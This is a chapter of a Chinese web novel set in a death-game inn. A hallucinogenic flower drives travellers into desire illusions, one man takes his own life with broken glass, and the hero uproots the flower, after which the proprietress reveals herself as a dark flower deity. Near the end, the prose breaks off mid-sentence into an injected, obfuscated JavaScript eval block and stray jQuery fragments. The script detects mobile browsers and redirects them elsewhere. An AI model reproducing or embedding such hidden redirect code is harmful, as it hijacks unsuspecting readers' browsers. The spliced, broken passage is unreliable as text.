夜来香的花苞是在午夜完全绽放的。
不是渐进的、温柔的开放，而是一种爆裂的、像有什么东西从内部炸开的方式。花瓣猛地弹开，露出里面深黄色的花蕊，花蕊在灯光下微微颤动，像无数根细小的手指在空气中抓挠。香气从花蕊里涌出来，不是之前那种若有若无的甜味，而是一种浓烈的、像实质化的雾一样的东西，它从花盆里溢出来，漫过桌面，漫过椅子腿，漫过他们的脚踝，像水一样往低处流，但这里没有低处，它只是在扩散，填满了整个大堂，填满了每一个角落，填满了他们的肺。
林墨的眼前模糊了一瞬。不是视力下降，而是世界在变形——桌子的边缘变得柔软，像在融化；灯光的边界变得模糊，像被水泡过的水彩画；对面坐着的人的脸变得遥远，像隔着一层毛玻璃在看。他用力握了一下口袋里的龙舌兰，花瓣上的刺扎进他的掌心，疼，很疼，疼让他的视线恢复了一瞬的清晰。就那么一瞬。他看到姜禾的眼睛已经开始失焦了，看到顾深的手指在桌面上无意识地划着什么符号，看到周大勇的烟从嘴里掉下来他没有捡，看到陆一鸣的身体在微微摇晃像一个快要倒下的陀螺，看到沈听溪的嘴唇在动但没有声音，看到赵铁的拳头握得指节发白，看到文清的眼睛睁开了，灰色的瞳孔里映着夜来香的花蕊。
他看到对面那桌的旅人们也在经历同样的变化。陈默的眼镜歪了，他没有扶。阿琳的手在发抖，但不是恐惧，是一种更本能的、像寒冷一样的颤抖。小曼趴在桌上，脸埋在手臂里，肩膀在抽搐。大伟在嚼什么东西，不是食物，是他的嘴唇，他把自己的嘴唇咬破了，血沿着下巴滴在桌布上。阿杰在数数，一、二、三、四，嘴唇飞快地翕动，像在念咒语。老孙闭上了眼睛，但他的眼皮在跳，像有什么东西在里面挣扎要钻出来。小飞在笑，不是开心的笑，是一种空洞的、机械的、像被人按下了播放键的笑。角落里那个女人——她始终没有说自己叫什么——她坐在那里，像一尊雕像，一动不动，眼睛看着虚空中的某个点，那个点不在这个房间里，在更远的地方，在她自己的世界里。
老板娘从柜台后面走出来。她的笑容还在，但变了。之前是热情的、亲切的、像招待老朋友一样的笑，现在是安静的、肃穆的、像葬礼上主持人的笑。她走到圆桌中央，站在那株盛开的夜来香旁边，她的手指轻轻触碰花瓣，花瓣在她的指尖下微微颤抖，像被抚摸的猫。
“第一幕。”她说。声音不大，但每个人都听得清清楚楚，像是在他们脑子里直接响起来的。“欲望之花。”
她拍了拍手。桌上的碗碟消失了。不是被人收走的，是消失了，像从未存在过一样。桌面上出现了八张纸条和八支笔，纸条是白色的，很小，只有巴掌大，笔是黑色的，墨水很浓，笔尖在灯光下闪着光。
“请写下你们最渴望得到的东西。”老板娘的声音很轻，很柔，像在哄孩子。“可以是具体的，比如财富、权力、名声。可以是抽象的，比如自由、被爱、平静。可以是人，可以是物，可以是任何一种你们想要但还没有得到的东西。写下来，不用给任何人看，对折，放在花盆里。夜来香会帮你们实现。在梦里。”
林墨拿起笔。笔是凉的，金属的笔身在他手指间滑动，像一条蛇。他看着那张空白的纸条，纸很白，白到像一面没有擦过的镜子。他看到了自己的脸——不是现在的脸，是另一张脸。更年轻的，眼睛里有光的，还没有走进这个笼子的脸。那张脸在问他——你最渴望什么？他握着笔，笔尖悬在纸面上方，墨水滴下来，在纸上洇开一个小小的黑点，像一颗痣。
他写下了三个字。对折。放在花盆里。
其他人也在写。姜禾写得很快，写完之后没有犹豫，直接折好放进花盆。顾深写得很慢，写了划掉，划掉再写，写了再划掉，反复了很多次，最后写下了什么，折好的纸条很厚，像是折了很多层。周大勇把纸条放在桌上，看着它，看了很久，然后拿起笔，写了一个字，对折，放进花盆。陆一鸣写的时候手在抖，字歪歪扭扭的，但他没有改，写完之后立刻折好塞进花盆，像怕被别人看到。沈听溪写的时候停了几次，每一次停下来都咬着嘴唇，嘴唇被咬白了，最后她写下了什么，折好，放在花盆里的时候手是稳的。赵铁没有写。他看着那张空白的纸条，看了很久，然后把笔放下，把纸条对折，什么都没有写，放进了花盆。文清写了，写得很慢，字很工整，像在批改作业。
对面那桌的十个人也在写。陈默写得很快，像早就想好了。阿琳写的时候哭了，眼泪滴在纸条上，墨水洇开了，她用手背擦了擦眼泪，又写了一遍。小曼写了划掉，划掉写了，最后把纸条揉成一团，又从桌上捡起来，展开，写下了什么。大伟写了一个字，很大，力透纸背，墨水渗到了桌布上。阿杰写的时候嘴唇在动，在念自己写下的字。老孙写了划掉，划掉写了，反复了很多次。小飞写得很快，写完还笑了一下。角落里的女人写了——林墨没有看到她写的过程，她低着头，头发遮住了脸，只能看到她的手在动，笔在纸上移动，然后她折好纸条，放在花盆里。
老板娘收走了花盆。不是用手端的，是花盆自己升起来了，漂浮在空气中，慢慢地、缓缓地旋转着，像一个被无形的手托着的水晶球。夜来香的花瓣在旋转中张开又合拢，合拢又张开，像在呼吸，像在咀嚼，像在读那些纸条上的字。
“第一轮，开始。”老板娘的声音响起的瞬间，林墨的世界碎了。
不是比喻。是真实的、物理意义上的碎裂。他眼前的一切——桌子、椅子、灯光、天花板、墙壁、对面坐着的人——全部像玻璃一样裂开，碎片向四面八方飞散，每一片碎片里都映着他的脸，无数个他，无数张脸，无数双眼睛，都在看着他。然后碎片消失了。他站在一个房间里。
不是晚香驿站的房间。是他自己的房间。他家的卧室。窗帘是淡蓝色的，是妻子挑的。床上的被子叠得整整齐齐，枕头上有一个浅浅的凹痕，是她睡过的痕迹。床头柜上放着一本书，书签夹在三分之一处，她习惯看到那里就停下来，第二天继续看。窗台上有一盆绿植，已经枯了，干瘪的茎秆垂在花盆外面，像一个吊死的人。空气中有一种气味——不是夜来香的甜，而是灰尘、旧书、和一个人离开后留下的空。
他站在床边，看着那个枕头上的凹痕。他伸出手，手指触碰到枕头的布料——是棉的，很软，很凉。他按了一下，凹痕陷下去，然后慢慢弹回来，恢复了原来的形状。但人的痕迹不会弹回来。凹痕会消失，气味会散尽，记忆会模糊。最后什么都没有。
“你回来了。”
他转过身。她站在门口。穿着白大褂，手里拿着那本空白的书，头发披在肩上，眼睛很亮，笑容很淡。和镜中城里一模一样。和画廊里一模一样。和每一个他渴望她回来的梦里一模一样。
“我知道你会回来。”她说。她走进来，走到他面前，伸出手，手指触碰他的脸。她的手指是暖的，真的暖，不是幻觉的暖，是真实的、有温度的、有脉搏跳动的暖。“所以我一直在等。”
林墨看着她的眼睛。那双眼睛里有光，有笑，有他。只有他。他张开口，想说什么。他的喉咙像被什么东西堵住了。不是哽咽，不是悲伤，而是一种更复杂的、更难形容的东西——像一个人在沙漠里走了很久，终于看到了水，但他不敢喝，因为他知道那是海市蜃楼。喝了会更渴。不喝，更渴。他闭上眼睛。龙舌兰在口袋里，花瓣是冷的。不是之前那种温热的、像一个人的体温一样的冷，而是冰冷的、像冬天里的铁一样的冷。它没有扎他。它在等。等他做出选择。
他睁开眼睛。她还在。她的笑容没有变，眼睛没有变，手指还在他的脸上。
“你不是她。”他说。
她的笑容僵了一瞬。
“你是夜来香给我的幻象。你不是她。她不会说‘我知道你会回来’。她只会说‘我会等你’。”他的声音很平，平到像在念一份实验报告。“‘我知道你会回来’是确定。‘我会等你’是不确定。她知道我不一定会回来，但她还是等。这才是她。你不是。”
她的笑容碎了。不是慢慢地碎，而是像玻璃一样猛地炸开，碎片飞散，每一片碎片里都映着她的脸——不是她的脸，是夜来香的花蕊。深黄色的、颤动的、像无数根细小的手指在抓挠的花蕊。
碎片消失了。他又站在晚香驿站里。
其他七个人也在。他们的眼睛是睁开的，但瞳孔是放大的，有的人在笑，有的人在哭，有的人面无表情，有的人浑身发抖。他们在幻境里，看到了自己最渴望的东西。有人伸出了手。有人握住了。有人松开了。有人还在犹豫。
林墨没有看他们。他看着对面那桌。十个人也在幻境里。他看到陈默在笑——那种笑不是开心的笑，而是一种更复杂的、像一个人在梦里见到了死去的人、知道是梦但还是忍不住笑的笑。然后陈默的笑容僵住了。他的脸开始扭曲，从笑变成哭，从哭变成恐惧，从恐惧变成绝望。他的眼睛猛地睁开了。
他回到了现实。
但他的迷醉值太高了。高到他的瞳孔是放大的，放大的瞳孔缩不回来，像两口被挖空了的井。他看到了林墨。他看到了林墨身后的夜来香。他看到了夜来香的花蕊。他的嘴唇在动，在说什么。林墨听不清，走过去，蹲下来，把耳朵凑近。
“她在叫我……”陈默的声音很轻，很细，像一根快要断掉的丝线。“她说她一个人，害怕……我要去陪她……”
林墨握住他的肩膀。“那不是你老婆。那是夜来香。你老婆不在这里。”
陈默笑了。那笑容很难看，像一朵被揉碎的花。“我知道。但我还是想去。你懂吗？我知道那是假的，但我还是想去。因为假的也比没有好。”
他从口袋里掏出一样东西。不是笔，不是纸条，而是一片碎玻璃。不知道从哪里来的，也许是摔碎的茶杯，也许是打破的镜子。碎片很尖，在灯光下闪着冷光。林墨看到了。他伸出手去抢。但陈默的动作比他快。碎玻璃划过喉咙，血溅出来，溅在林墨的手上，温热的，像一个人最后的体温。陈默的眼睛还睁着，瞳孔还是放大的，但里面有什么东西在熄灭——不是光，是更本质的、更基础的、让人之所以是人的东西。他在熄灭。
夜来香的花瓣猛地张开，又合拢。它吸到了养料。新鲜的、温热的、带着恐惧和绝望的养料。香气更浓了。
林墨跪在地上，手上全是血。不是他的血。是陈默的。他不认识陈默。一个小时前，他们刚交换了名字。他不知道陈默是做什么的，不知道他住在哪里，不知道他老婆叫什么。他只知道他叫陈默。沉默的默。一个人用这个名字活了三十多年，然后在一个叫晚香驿站的地方，用一片碎玻璃，结束了自己的名字。
林墨的手在发抖。不是恐惧，不是愤怒，而是一种更陌生的、更让他不安的感觉——他的胸口有什么东西在裂开。不是心碎，心碎他经历过。是另一种裂开，更缓慢的，更深层的，像冰面下的河在解冻，你看不到裂缝，但你知道水在流，知道冰在变薄，知道总有一天你会掉下去。
他站起来。他的手上还有血，他没有擦。他看着剩下的十七个人——七个队友，九个旅人。他们的眼睛还在幻境里，还没有回来。他走到夜来香面前。花在看着他，用那些深黄色的花蕊看着他。它在笑。没有嘴，但它在笑。
“你在拖时间。”林墨说。声音很低，很沉，像从喉咙深处挤出来的。“你在等我们的迷醉值越来越高。你在等更多人崩溃，更多人自杀，更多人变成你的养料。”
夜来香的花瓣颤了一下。
“我不会让你得逞。”林墨转身，面对所有人。他的声音不大，但每个字都很重，像钉子钉进木头。“醒来。都给我醒来。”
沈听溪的眼睛动了。瞳孔开始收缩，从放大恢复到正常。她看到林墨手上的血，她的嘴唇白了，但没有问。她知道那血是谁的。她看到了地上陈默的身体。她闭上了眼睛。
顾深的眼睛也动了。他的瞳孔收缩得很慢，像一扇生锈的门在被推开。他推了推眼镜，裂痕在他的视野中央，把陈默的身体切成了两半。他的嘴唇在动，在说——不该是这样的。
周大勇的烟掉在地上，他没有捡。他看着陈默的身体，看了很久。然后他把烟从地上捡起来，叼在嘴里，点着了。烟雾在灯光中升起，灰色的，细长的，像一条蛇，慢慢爬向屋顶。
陆一鸣的眼泪流了下来。他不知道自己为什么哭。他不认识陈默。但他看到一个人死了，死在他面前，死在碎玻璃下，死在一朵花的香气里。他哭，不是因为悲伤，是因为他不知道自己什么时候也会变成这样。
姜禾站起来，走到陈默身边，蹲下来，伸出手，合上了他的眼睛。她的动作很轻，很慢，像在做一件她已经做过很多次的事。她在医院里见过死亡，见过很多。但每一次，合上眼睛的时候，她的手都会抖。
赵铁站在林墨身后，他的拳头握着，指节发白。他的眼睛看着夜来香，看着那朵在灯光下颤动的花。他在想——能不能砸了它？能不能把它从花盆里拔出来？能不能用火烧了它？但他没有动。因为他知道，花只是工具。真正的敌人不是花。是花后面的那个人。
文清睁着眼睛，灰色的瞳孔里映着陈默的脸。他的嘴唇在动，在念什么。不是经文，不是悼词，而是一首诗。一首很老的诗，老到没有人记得作者。诗里说——生者为过客，死者为归人。天地一逆旅，同悲万古尘。
九个人从幻境中回来了。阿琳、小曼、大伟、阿杰、老孙、小飞、角落里的女人，还有两个林墨没有记住名字的人。他们的脸上有泪痕，有笑容，有恐惧，有释然。他们看到了陈默的身体。没有人说话。
夜来香的花瓣在慢慢地、一点一点地合拢。它吃饱了。至少暂时吃饱了。林墨看着那朵花。他在想——第二幕是恐惧之镜。第三幕是抉择之夜。如果陈默在第一幕就崩溃了，后面两幕还会死多少人？他不知道。但他知道一件事——他不能让迷醉值再涨了。他必须结束这个游戏。越快越好。
他走到夜来香面前。伸出手。手指触碰到花瓣。花瓣是凉的，像蛇的皮肤。他握住了花茎。花茎上有刺，刺扎进他的掌心，疼，很疼。但他没有松手。他用力一拔。花茎断了。不是从土里拔出来的，是从花盆里拔出来的。根须在空气中挣扎，像无数条被斩断的蛇。花瓣在颤抖，香气在散乱，夜来香在枯萎。
老板娘的笑容消失了。不是慢慢地消失，而是像被人从脸上撕下来一样，猛地消失了。她的脸变得很白，白到像一张纸。她的眼睛变得很深，深到像两口井。她看着林墨，看着他的手，看着他掌心里那朵被拔出来的、正在枯萎的夜来香。
“你知道你在做什么吗？”她的声音变了。不再是那种甜腻的、像糖果一样的声音，而是一种更冷的、更沉的、像从地底下传上来的声音。
“我知道。”林墨说。“你在用恐惧和欲望喂养这朵花。它在吸他们的命。它在吸陈默的命。你不在乎谁会死。你只在乎花什么时候开。”
老板娘看着他，看了很久。然后她笑了。不是之前那种笑容，而是一种更复杂的、更难形容的笑——像一个人在照镜子，发现镜子里的自己老了，但她不悲伤，只是——认了。
“你说得对。”她说。“我不在乎谁会死。但你呢？你在乎吗？”
林墨没有回答。
“你在乎。”老板娘说。“你在乎到宁愿拔掉我的花，也不愿再看一个人死在你面前。你在乎到手上全是别人的血，但没有擦，因为你觉得那是你的错。你在乎到——”她停了一下。“你还在乎到，连我叫什么名字都没有问过。”
林墨沉默了。
老板娘走到他面前，伸出手，从他的掌心里拿走了那朵枯萎的夜来香。花瓣已经卷曲了，颜色从淡黄色变成了灰褐色，像一张老人的脸。她把花放在桌上，手指在花瓣上轻轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454766|201212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拂过，像在抚摸一个死去的人。
“我叫晚香。”她说。“这栋驿站，是用我的名字命名的。”
她停了一下，看着林墨的眼睛。
“我不是被花神困在这里的人。我就是花神。夜来香。暗花神之一。和龙舌兰一样。”
林墨的瞳孔微微收缩。
“龙舌兰是暗黑花神，我是暗香花神。”晚香的声音很轻，很平，像在讲述一个与自己无关的故事。“十二花神管光明，我们管黑暗。梅是坚韧，我是——沉溺。龙舌兰是痛苦，我是遗忘。每个人心里都有黑暗面。我们的职责，就是让这些黑暗面——开花。”
她看着那朵枯萎的夜来香。
“龙舌兰用痛苦喂养他的花。我用欲望喂养我的花。他让新娘变成花，我让旅人变成花。方式不同，本质一样。我们都是被遗忘的花神。十二花神不认我们，典狱长不认我们，连我们自己——有时候都不认自己。”
她的眼眶红了。但没有泪。
“很久以前——久到我记不清了——我也不是花神。我是一个玩家。和你一样，走进这个笼子，经历了一关又一关，走到了这里。我没有通过游戏。夜来香没有杀我。它把我变成了——这个。一个永远不会老、永远不会死、永远不能离开这里的老板娘。我看着一批又一批的人走进来，玩这个游戏。有人赢了，走了。有人输了，变成了花的养料。有人——变成了我。”
她看着林墨。
“你知道被困在这里是什么感觉吗？你知道看着一个人死在你面前，你知道你能救他，但你救不了，因为你一动，花就会把你吃掉。你知道一个人用碎玻璃割开自己的喉咙，血溅在你脸上，温热的，咸的，和所有人的血一样。你知道那朵花在吸他的血，在长它的花瓣，在等着下一个人。你知道这一切，但你什么都做不了。你只能站在这里，笑。一直笑。因为这是游戏规则。老板娘必须笑。不能哭，不能喊，不能求他们不要死。只能笑。”
她的声音开始发抖。
“我不知道我还能撑多久。也许再撑一批，也许再撑两批。也许下一批，我就会变成真正的夜来香。没有意识，没有记忆，没有晚香。只有花。一朵开在驿站里的、等着吸人血的花。”
林墨看着她。他的胸口那种裂开的感觉又出现了。不是陈默死的时候那种突然的、剧烈的裂开，而是一种缓慢的、持续的、像冰面下的河在解冻一样的裂开。他在疼。不是手心的疼，是更深的、更本质的疼。
“我可以带你出去。”他说。
晚香摇了摇头。“你带不出去我。我是这栋房子的一部分。房子在，我就在。房子不在了——”她看着那朵枯萎的夜来香。“我也不在了。”
她抬起头，看着林墨。她的眼睛里有光，不是泪光，而是一种更亮的、更温暖的、像一个人在被困了很久之后终于看到了一丝希望的光。
“但你不一样。”她说。“你可以出去。你可以带他们出去。你一直都可以。从你走进这栋房子的那一刻起，你就赢了。因为你不会迷醉。你的心里没有可以被夜来香抓住的东西。你没有欲望——不对，你有。你的欲望不是为自己。你的欲望是——让别人活。”
她看着那十七个人。姜禾、顾深、周大勇、陆一鸣、沈听溪、赵铁、文清、阿琳、小曼、大伟、阿杰、老孙、小飞、角落里的女人，还有两个林墨没有记住名字的人。他们在看着林墨，看着他的手，看着他掌心里被刺扎出的血痕。
“带他们走。”晚香说。“第二幕和第三幕不会有了。你拔掉了花，游戏就结束了。他们赢了。每人一百积分。够他们走出这片雾。”
她转身，走向柜台。她的背影很瘦，旗袍的布料在她身上晃着，像一件太大衣服穿在一个太小的人身上。她走到柜台后面，坐下来，打开抽屉，从里面拿出一个本子。本子很旧，封面已经磨白了，边角卷曲着。她翻开本子，拿起笔，在某一页上写下了什么。
林墨走过去。他看到本子上写着很多名字。一排一排的，密密麻麻的。有些名字被划掉了，有些名字还在。最后一页，最新的一行，写着——陈默。后面打了一个叉。
晚香抬起头，看着林墨。“每死一个人，我就在本子上记下来。这本子快写满了。”
林墨看着那些名字。有男有女，有老有少，有他认识的，有他不认识的。他们都死了。死在夜来香的香气里，死在欲望和恐惧里，死在碎玻璃下、绳子下、药瓶下、或者只是慢慢地、一点一点地枯萎，像一朵被摘下太久的花。
“林墨。”晚香叫他的名字。他抬起头。她的眼睛在灯光下很亮，不是泪光，而是一种更温暖的、更柔软的光。
“你还是一如既往的心软。一如既往地照顾人呢。”
林墨的身体僵住了。他的大脑在那一瞬间变得空白——不是没有信息，而是信息太多了，多到他的理性无法处理。这句话。这个语气。这个称呼。不是第一次听到。在很久以前，在他忘记了一切之前，有人对他说过一模一样的话。用一模一样的语气。一模一样的声音。
他张开口，想说什么。但他的喉咙像被什么东西堵住了。不是哽咽，不是悲伤，而是一种更复杂的、更难形容的东西——像一个人在黑暗中走了很久，突然看到了一点光。但那光太远了，远到他不知道要多久才能走到。远到他不知道那是光还是另一片黑暗。
“你是谁？”他的声音很轻，轻到像从很远的地方传来的。
晚香笑了。不是之前那种职业性的、练习过的笑，也不是后来那种认命的、苦涩的笑。而是一种真正的、发自内心的、像一朵花在阳光下绽放的笑。她笑的时候，眼睛弯着，嘴角翘着，脸颊上还有两个浅浅的酒窝。像一个少女。
“别多问。”她抬起手，指了指天。“上面有人看着呢。”
林墨抬起头。天花板还在，灯还在，烛火还在跳。但他知道她指的不是天花板。她指的是更高的地方，更高到看不到顶的地方，更高到连光都照不到的地方。那里有什么？他不知道。但有人在看着他。从始至终，一直在看着他。
他低头，看着晚香。她的笑容还在，但她的眼睛在说——快走。别回头。她不是不想告诉他，是不能告诉他。因为上面有人看着。因为说出来，她就不在了。因为这栋房子，这朵花，这个游戏，比她想象的更深。比他想象的更深。
林墨转身。十七个人在等他。
“走吧。”他说。
他们走向门口。门是开着的，雾还在外面，灰白色的、翻涌的、像有什么东西在里面蠕动的雾。但雾的深处，有一丝光。不是灯笼的光，不是月光，而是一种更远的、更淡的、像黎明前第一缕曙光的光。
林墨走到门口，停下来。没有回头。
“谢谢你。”他说。
身后，晚香的声音传来，很轻，很远，像风吹过枯枝。
“不客气。林墨。下次见。”
下次见。林墨推开门，走进雾里。雾很冷，很湿，像无数只手在抚摸他的脸。他没有擦手上的血。血已经干了，变成暗红色的，像一幅褪色的地图。他握着口袋里的龙舌兰。花瓣是温热的，像一个人的体温。他握着它，像握着一个人的手。
身后，晚香驿站的灯一盏一盏地熄灭了。最后一盏灯灭的时候，他听到了歌声。不是之前那种轻的、柔的、像摇篮曲一样的歌，而是一种更低的、更沉的、像一个人在深井里唱歌的声音。歌词听不清，旋律听不清，只有一个声音。一个女人的声音。在唱一首她唱了无数遍的、没有人听过的、只唱给自己听的歌。
林墨没有回头。他走在雾里，走在十七个人前面。雾很浓，看不到前面，看不到后面，看不到左面和右面。但他知道方向。因为他的手在疼。龙舌兰的刺扎在他的掌心里，疼，很疼。疼告诉他——往前走。别停。
他往前走。雾在身后合拢。晚香驿站消失了。像从未存在过一样。